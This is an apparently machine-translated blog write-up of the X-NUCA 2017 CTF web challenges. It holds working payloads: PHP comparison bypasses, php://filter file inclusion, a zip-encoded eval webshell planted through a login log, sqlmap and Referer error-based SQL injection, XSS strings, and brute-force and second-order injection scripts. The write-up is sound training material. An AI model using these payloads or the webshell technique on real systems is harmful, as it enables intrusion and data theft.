X-NUCA 2017 Web Exercise By Assassin

Posted by hanpedro on Sat, 01 Jun 2019 22:32:59 +0200

The Title links are as follows
http://www.hetianlab.com/pages/activity/X-NUCANationalTL2017.jsp

Hide-and-seek

I found a lot of stuff at first sight, but I didn't find a link at all.


Open the hidden date and flick back to index.php, indicating a redirection. burp grabs the package and gets flag.

FLAG{th!5!5n0tth3fl@g}

Simple question and answer

I really don't understand the meaning of this question. First of all, look at the page, it seems to be a short answer? But you can't submit it. Look at the source code to remove the disabled=""


Remove it and you can pack it, and when you grab it with burp, you find that the submission is malformed.

q1=2015&q2=lol+&q4=22&success=false

First q1 should be 2016; then q2 should be replaced by one more space by script script script, and removed; then q4=22, q3 should be............................................. Finally, just change success to true.

flag{W3ll_d0n3}

Backstage Backstage Backstage

First you see a normal interface, enter the next button to enter the administrator interface, but display


The packet is as follows.

It was found that the Member s in cookie s were Normal encrypted by Base64 and changed to Admin encrypted by base64.

flag{C00ki3_n0m_n0m_n0m}

php is the best language

See the source code directly

 <?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>

It's easy to bypass. Forget that eregi was abandoned in php7. No wonder the experiment has been useless for 100,000 years.
First drop a link and summarize some php features

http://blog.csdn.net/qq_35078631/article/details/75200157

The first step is that bar1 is 2017asd, i.e. numbers + letters can bypass the comparison with 2016 and are not pure numbers.
The second step is to construct bar2, which requires that the first item of bar2 be an array, and that there are five items in the total array, and the content does not exist nudt.
The third step is to construct nudt for a2 in the array.
These three steps allow php code generation

 <?php
$test=array(
    "bar1"=>"2017asd",
    "bar2"=>array(  "0"=>array(0),
            1=>2,
            2=>3,
            3=>4,
            4=>5    
            ),
    "a2"=>"nudt"
);
print_r (json_encode((array)$test));
?>

The result is {bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":233}.
Then continue to see if cat[1] exists and! strcmp ($c [1], $d) & & $c [1]!==$d, then construct cat[1][]= according to strcmp characteristics, and bypass it successfully

Later, using eregi, cat [0]=% 00htctf2016 & dog = what can be constructed with% 00 truncation
Final payload

http://218.76.35.75:20114/?foo={"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":"nudt"}   &cat[1][]="1"&&dog= what&cat[0]=%00htctf2016
flag{php_i5_n0t_b4d}

login

First of all, when you see the background, you can guess that it's a file, or you can get the code.

http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=login

Key Code of login after base64 Decryption

<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
    include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
    echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
    $logfile = "./log/".$login.".log";
    file_put_contents($logfile, $login."\n".$password);
} 
?>

But what is this? There's nothing left to do. Then it turns out that there seems to be some source code available as well.

http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=index

Can get

<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";

if (@$_GET['log']) {
    if(file_exists($_GET['log'].".log")){
        include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
    include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}

?>

Suddenly something terrible happened. First of all, when we failed to log in, we generated a log file.


Then let's see if there is a log variable in index.php, and if the file $_GET['log'].".log" exists, read flag.txt directly? Is it not against the sky? So we continued to construct.

flag{10caL_File_1nc1usi0n_C@n_B3_fun} 

But this question is endless. I'll look at other people's problems and find out how to fish for the sky.
For example, Daniel Wang Yihang's method, because it can be uploaded, he deliberately constructed a zip file with a pony, and then got flag through getshell, which is too 6.
Construct the PK structure as follows (see cat test.zip | hexdump -C)

Because zip decompression can't resolve n, but the format of our upload process is

username+\n
password

Then we can use this to construct a compressed package format. As you can see clearly, the fifth one is 0a.
The structure is as follows

login=%50%4b%03%04
&password=%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%74%65%73%74%2e%70%68%70%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%0a%50%4b%01%02%3f%03%0a%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%00%00%00%00%00%00%20%80%b4%81%00%00%00%00%74%65%73%74%2e%70%68%70%50%4b%05%06%00%00%00%00%01%00%01%00%36%00%00%00%43%00%00%00%00%00

Successful experiment


Check whether decompression can be normal, and find that decompression can be successful, and then we use the included zip protocol decompression to achieve results!!!
Successful request!

http://218.76.35.75:20115/?page=zip://log/PK%03%04.log%23test

post:cmd=phpinfo();
//ps:zipPseudo protocol#Then add the name of the unzipped file! This is very important!!!

That's the real spirit of exploration, worship learning.

http header injection

Method 1

It's about http header injection. It's also about trying another browser. At first, it thought it was user-agent, but after the experiment, it was found that referer injection exists.

Then? I didn't annotate it, then I ran with sqlmap and came out as expected.

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer --tamper=space2comment --level 3

Hey hey hey, just go on with the routine.

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer --tamper=space2comment --level 3  --dbs

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer -D ctfweb20110 --tables

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer -D ctfweb20110 -T flag -C

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer -D ctfweb20110 -T flag -C "flag" --dump

Method two

Accidental discovery of error injection

Referer: 1' and  extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1

//Detonating name
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1),0x7e)) and '1'='1

//Explosion meter
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  TABLE_NAME  FROM information_schema.TABLES WHERE TABLE_SCHEMA ='ctfweb20110' limit 0,1),0x7e)) and '1'='1

//Explosion sequence
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  COLUMN_NAME  FROM information_schema.COLUMNS WHERE TABLE_NAME ='flag' limit 1,1),0x7e)) and '1'='1

//Explosive answer
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  flag from flag),0x7e)) and '1'='1

Y0ugetT82f00000laev

Simple file upload

When you see the file upload, you first think of the% 00 truncation, but fail. Continue to think about whether it is the problem of Content-Type. Upload a png file and find that only the jpg file can be transferred. So modify Content-Type to Content-Type: image/jpeg and find that filename is controllable, change it to php file suffix, and get flag?

flag:Upl00d30668ss9h97aFil3

Simple JS

First open F12 and see the source code

p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,

102,108,48,97,46,112,104,112,34,62"
p=eval("String.fromCharCode("+p+")"); 
document.write(p);

Write a simple python script and run out

<iframe height=0 width=0 src="./fl0a.php">

Visiting the past and seeing a strange thing


Scanning through the catalog was fruitless and found flag in Cookie in the message.

C00k1els60SecU5e

php is a loose language

Come up and see the source code.

$he ='goodluck';

parse_str($_GET['heetian']);

if $he = 'abcd';

echo $flag;

he=?

It is found that there exists a parse_str function, which is used to parse strings and assign values to variables. Is it a function coverage?
structure

http://218.76.35.75:20124?heetian=he=abcd

Get flag

flag:C00d1uckf0rY0uuu

Try xss.

First, according to the prompt, alert document domain is enough, so you should use reflective xss, and then read the title.
Trying to enter'>
An img tag was found in the source code.

'><script >alert(document.domain)</script>

It also returned to domain but not flag, so instead, it closed the img tag.
Construct the following statement and keep popping up the box without flag.

123' onerror=javascript:alert(document.domain)

Get rid of javascript???

123' onerror=alert(document.domain)

Snake essence disease...

flag:D0Gum6Ntd0M11n

Simple file contains

According to the prompt, structure

http://218.76.35.75:20126/index.php?page=/flag

Get flag location in source code

<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php-->

Access to flag

F11elNcLud3Get

How do you feel so unreasonable?

Simple verification

It's also a very interesting topic. First of all, it scans the directory without results. Then it grabs the package and observes the characteristics of the package. It finds that there is a user and guess in the cookie. Then it finds that it's a blasting topic. Change user to admin, and then blasting guess.

#_*_ coding:utf-8 _*_
import requests
url = 'http://218.76.35.75:20127/'

for i in range(1000):
    headers={
        'Cookie':'td_cookie=18446744070435391241; flag=admin; user=admin; guess=%d'%i
    }
    html=requests.get(url,headers=headers)
    #print html.text
    if 'flag' in html.text:
        print html.text
        break

Drunk

flag:EaSy70Ch1ngG00kie

vote

I can't do anything, but before I found out I was too concerned about file scanning and the dictionary wasn't complete enough. I forgot that the classic source codes such as. bak,. index.php.swo were leaked. I have to cook them up.
Then it was found that /. index.php.swp had source code leakage.
Although the source code has been obtained, the seemingly general vim-r method will show no operation, asked the cow to force me chicken brother, said to run in the VIM on the virtual machine can only be __________. What is this? I can't. I just have to take a bunch of null s with me.
It's strange to sort it out for a while.

echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
while ($r = mysql_fetch_array($q)) {
    $q = mysql_query('SELECT * FROM t_picture');
    <?php<tr><table border="1" cellspacing="5"><form action="index.php" method="POST"><p>Welcome, Movie vote</p><body></head>   <title>Movie vote</title><head><html>?>}    exit;
    echo '<br><a href="index.php">goBack</a><br>';
    echo '</table>';    }
    echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
    echo '<tr><td>'.$arr[0].'</td>';
    $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));
    while ($r = mysql_fetch_array($q)) 
    {   echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
        echo '<table border="1">';
        echo '<p><b>Thank you!</b> Results:</p>';
        $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
        $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
        $vote = 1;
        if ($vote > 5 || $vote < 1)  
            $vote = (int)$_POST['vote'];
            $id = $_POST['id'];
            die('please select ...');   
            if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
                if (isset($_POST['submit'])) {
                    $login = $_SESSION['login'];
            }   
            $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
            if (!isset($_SESSION['login'])) {
                session_start();
                include 'db.php';

Discovery and output seem to be the opposite, and then you can reverse it for yourself, probably.

<?
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (isset($_POST['submit'])) {
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
        die('please select ...');   
    $id = $_POST['id'];
    $vote = (int)$_POST['vote'];
    if ($vote > 5 || $vote < 1)  
        $vote = 1;
    $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
        echo '</table>';
    }
    echo '<br><a href="index.php">goBack</a><br>';
}   
exit;
?>
<tr><table border="1" cellspacing="5"><form action="index.php" method="POST"><p>Welcome, Movie vote</p><body></head>    <title>Movie vote</title><head><html>
<?php
$q = mysql_query('SELECT * FROM t_picture');
while ($r = mysql_fetch_array($q)) {
    echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';

Because of my low level, I didn't see what it was for a while. Then Baidu found out that it was hackyou2014.
After a glance at the solution, it suddenly dawned on me! Originally, we can use hexadecimal bypass is_numeric!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Secondary injection, as the name implies, uses the second injection echo.
Let's look directly at the topic. First, we use the hexadecimal system to circumvent the limitation of is_numeric.

$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");

This place can insert a piece of data into the database, and then the following

$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));

This is used (because this $r comes from $q = mysql_query ("SELECT ID FROM t_vote WHERE user ='{login}'GROUP BY id"); after this condition transfer we can use the ID variable in the database)
Add our injection code - 1 union select 1, then the program first inserts the following statement into the database

$q = mysql_query("INSERT INTO t_vote VALUES (-1 union select 1, , '')");

Then by calling the utilization statement, it becomes

$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = -1 union select 1"));

Successful injection!!! Then I will write the script for this topic.

#_*_ coding:utf-8 _*_
import requests
import binascii
def encode_and_send(hack):
    url = 'http://218.76.35.75:65080/'
    data ={'id':hack,'vote':3,'submit':'submit'}
    html = requests.post(url,data=data)
    print html.text


hack = "-1 union select 1"
print "0x"+binascii.hexlify(hack)
encode_and_send("0x"+binascii.hexlify(hack))

Then by modifying the hack value to achieve the effect, test it!

Then there's a first-order injection, and the result is that information_schema is filtered. The big man said that the brain hole came out and got a list and a list. Psychological inexplicable pain, feeling very unreliable. I wondered if I could blow it up, but I didn't have a dictionary. If the big man has any magic tricks, he hopes to point out his weakness __________.
payload brings in the above code

hack = "-1  union select flag from t_flag"

flag{6yvt6eYziAHgVRKz3reE}

GG

After searching for half a day, there is only one js source code, about 600 lines, look at nothing found. Nothing obvious, just search for referenced files and find a strange thing when searching. js

 this.mayAdd = function(a) {
            if (this.scores.length < this.maxscores)
                return 1E6 < a && (a = new p,
                a.set("urlkey", "webqwer"[1] + "100.js", 864E5)),
                !0;
            for (var b = this.scores.length - 1; 0 <= b; --b)
                if (this.scores[b].score < a)
                    return 1E6 < a && (a = new p,
                    a.set("urlkey", "webqwer"[1] + "100.js", 864E5)),
                    !0;
            return !1
        }

There's an e100.js, but the website blows up. We have to stop for the time being.

Topics: PHP Python Database Javascript